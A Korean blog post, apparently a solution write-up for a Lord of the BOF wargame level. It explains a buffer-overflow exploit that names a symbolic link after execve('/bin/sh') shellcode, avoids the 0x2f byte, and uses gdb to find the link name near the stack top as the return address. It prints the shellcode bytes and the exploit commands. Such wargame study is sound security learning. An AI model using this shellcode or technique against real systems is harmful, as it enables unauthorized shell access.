내가 익스해왔던 모든 방법을 막아버렸군...
1. 환경 변수 안 됨
2. argv 안 됨
3. buffer에 넣기 안 됨....
남은 방법은 심볼릭 링크 사용하는 것...
어떻게 사용할 것인가?
파일 이름을 쉘코드로 만들고, 48byte는 "더미 char"*44 + "파일이름(쉘코드)으로 리턴주소" 로 구성하면 될 것 같다.
먼저, 쉘코드 이름으로 심볼릭 링크를 생성했다.
ln -s darkelf `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
-> 여태 쓰던 쉘코드
이렇게 하면, no such file or directory가 뜰 것이다.
처음엔 ln을 잘못 사용한 줄 알았다.
그런데, ln -s darkelf `python -c 'print "A"*2 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
이런 식으로 변형을 줘보다가 깨달았다.
슬래시( / )는 hex값이 2f이다. 를 보면 \x2f가 보일 것이다.
이걸 파일 경로로 파악해서 심볼릭 링크가 생성이 안 된 것이다.
"슬래시없는 쉘코드" 구글링 ㄱㄱ
찾았다
https://kortsec1n4mationm.tistory.com/18
shellcode (0x2f 없애기)
간혹가다 디렉터리명/파일명에 쉘코드를 넣어놓고 argv[0]나 스택의 끝부분을 활용해야하는 상황이 있습니다. 우리가 만들어논 25byte 쉘코드로는 실행이 되지 않습니다. 왜 그럴까요? 0x2f때문인데
kortsec1n4mationm.tistory.com
이제 이 쉘코드로 심볼릭 링크 만들기 고고
만들어진 것을 볼 수 있다.
마지막으로, 이 쉘코드 즉 심볼릭 링크의 파일 이름이 어디에 위치하는지 알아내는 것이 문제이다.
cp darkelf tmp
gdb tmp
b*main
r AAAA(-> 아무값)
x/100x 0xbfffffd0 (-> 0xc0000000에 가까운 값 아무거나)
이 결과를 보면,
이렇게 나오는데, 0xc0000000은 스택의 가장 높은 주소(끝)이고,
0xc0000000에서부터 \x00(null)이 5개 있는 것을 볼 수 있다. 갑자기 00이 안나오고 706d74가 뭘 의미하는지 파악했다.
실행한 파일이름이구나!
0xc0000000 - 4에 \x00 * 4개 있고, 0xc0000000 - 8에 \x00 * 1개 있고,
심볼릭 링크 만든 파일 이름(쉘코드)은 35바이트니까, 파일 이름의 처음 위치를 파악할 수 있다.
파악한 대로 익스한다.
'워게임 > LOB' 카테고리의 다른 글
LOB - troll (환경변수) (0) | 2021.08.01 |
---|---|
LOB - darkelf (0) | 2021.07.31 |
LOB - orc (0) | 2021.07.31 |
LOB - goblin (0) | 2021.07.31 |
[풀이X흐름O]LOB - gate (0) | 2021.07.30 |
댓글